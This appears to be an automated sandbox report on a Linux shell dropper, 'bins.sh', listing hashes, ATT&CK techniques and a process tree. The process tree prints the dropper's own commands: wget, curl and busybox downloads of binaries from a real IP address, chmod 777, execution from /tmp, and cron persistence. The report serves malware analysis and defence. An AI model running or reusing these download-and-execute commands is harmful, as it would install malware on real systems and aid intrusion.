3b8bfbb4ad9a3c9263dcfa5c9f7775892facd8db73df1e45c577682378240c2a

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/11/2024, 22:32

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General

Target
bins.sh
Size 10KB
Sample241109-2fx23swpgr
SHA256 3b8bfbb4ad9a3c9263dcfa5c9f7775892facd8db73df1e45c577682378240c2a
MD5 26b007b58f7b3e7d4d06412d32ff28e3
SHA1 cd4b89120da91b247046d0ff97dcf15f7de24c67
SHA512 9a1c4af960422cf737405359bc9f83045425369dcbd7ae97c201061b817392c34518f84af6a0419b506c50c32e4a865a6267d64e8c133e7ec85af1e70bb38a97
SSDEEP 192:XIkHYgEwH5Gj+fvvozvRsaqn8wV8aqn8w7Mvvozv5IkHYgSzD:XIkHYgEwH5Gj+UQIZIkHYgSzD
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2091) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
700	chmod
734	chmod
677	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g	678	0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
/tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5	701	N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
/tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46	735	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46

Renames itself 1 IoCs

pid	Process
736	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.aEv0Gg	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/816/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/845/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/915/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/916/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/917/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/4/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/753/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/927/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/982/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1067/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/19/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1023/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1027/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/29/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/795/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/877/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/888/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/908/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/940/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/976/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1075/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/817/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/935/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/979/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1041/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/16/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/76/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/764/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/869/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/870/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/955/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/911/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/9/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/42/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/649/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/757/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/804/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/829/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/839/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/957/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1062/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/20/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/854/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/921/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/968/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1045/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/3/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/998/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1040/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1072/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/779/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/842/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/884/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/914/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/994/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1073/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1044/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/733/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/793/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/919/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/923/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/948/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1015/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
File opened for reading	/proc/1020/cmdline	hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5	busybox
File opened for modification	/tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46	curl
File opened for modification	/tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46	busybox
File opened for modification	/tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g	wget
File opened for modification	/tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g	curl
File opened for modification	/tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g	busybox
File opened for modification	/tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5	wget
File opened for modification	/tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5	curl
File opened for modification	/tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:644
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:646
- /usr/bin/wget
  wget http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
  2⤵
  - Writes file to tmp directory
  PID:648
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:670
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
  2⤵
  - Writes file to tmp directory
  PID:676
- /bin/chmod
  chmod 777 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
  ./0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
  2⤵
  - Executes dropped EXE
  PID:678
- /bin/rm
  rm 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
  2⤵
  PID:680
- /usr/bin/wget
  wget http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
  2⤵
  - Writes file to tmp directory
  PID:681
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
  2⤵
  - Writes file to tmp directory
  PID:695
- /bin/chmod
  chmod 777 N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
  ./N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
  2⤵
  - Executes dropped EXE
  PID:701
- /bin/rm
  rm N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
  2⤵
  PID:703
- /usr/bin/wget
  wget http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
  2⤵
  - Writes file to tmp directory
  PID:704
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:714
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
  2⤵
  - Writes file to tmp directory
  PID:729
- /bin/chmod
  chmod 777 hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
  ./hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:735
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:737
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:738
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:740
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:741
- /bin/rm
  rm hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
  2⤵
  PID:744
- /usr/bin/wget
  wget http://87.120.84.230/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
  2⤵
  PID:747

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g

Path /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
Size 122KB
SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
MD5 cd3d4b9c643e5b473fb4d88ed05f0716
SHA1 64ee7a97418583d759eaea8000890cc3bae1b5f4
SHA512 164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
SSDEEP 3072:QON+vZgnSgtpg1sgnHgS4rpq26zEz2IyombPQbZBmf35ZYp:Q0bY3AH36y2ambPQbZBm/5ZYp
MD5 SHA1 SHA512 SSDEEP

Submit Download

N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5

Path /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
Size 107KB
SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
MD5 eb9c3a0de91fcf16ba17cb24608df68c
SHA1 09d95a7d70d5e115d103be51edff7c498d272fac
SHA512 9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
SSDEEP 3072:97fy8kXAidixidg9l8GTmNFbimQdbZ0r135z8J:9ygrhmNFGmQdbZ0rt5z8J
MD5 SHA1 SHA512 SSDEEP

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hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46

Path /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
Size 127KB
SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
MD5 89077b7bd4bcafca7713be43635c4862
SHA1 fc02edb8fba29ea8ee99e6157ef8560334530052
SHA512 1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
SSDEEP 3072:fgO463guSRVw5OhgfgnoHOIcv6Gosjr7fxmxKjQVnaMk9H8p:4ZmgoHONvposj3fxmxKjQVnal9H8p
MD5 SHA1 SHA512 SSDEEP

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tmp.aEv0Gg

Path /var/spool/cron/crontabs/tmp.aEv0Gg
Size 210B
SHA256 e0b50ab0a1aec9f597f5281b0ed162051f83ccd372c6a18ea46aec53474a555f
MD5 a8e067e0ff5d8cce256423dfa3b58e0e
SHA1 1f461e13b240caa2dd3c3420505d9bd6a032aee1
SHA512 ce4f4f6170b5030caf69630d663f1c6996019a53366bb37894daa4400b1a389f4b7e81555df66b5e0bdd5ed1b3a78d6166f1e3a0a10cb14f0f7f4cc5f25c14ca
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads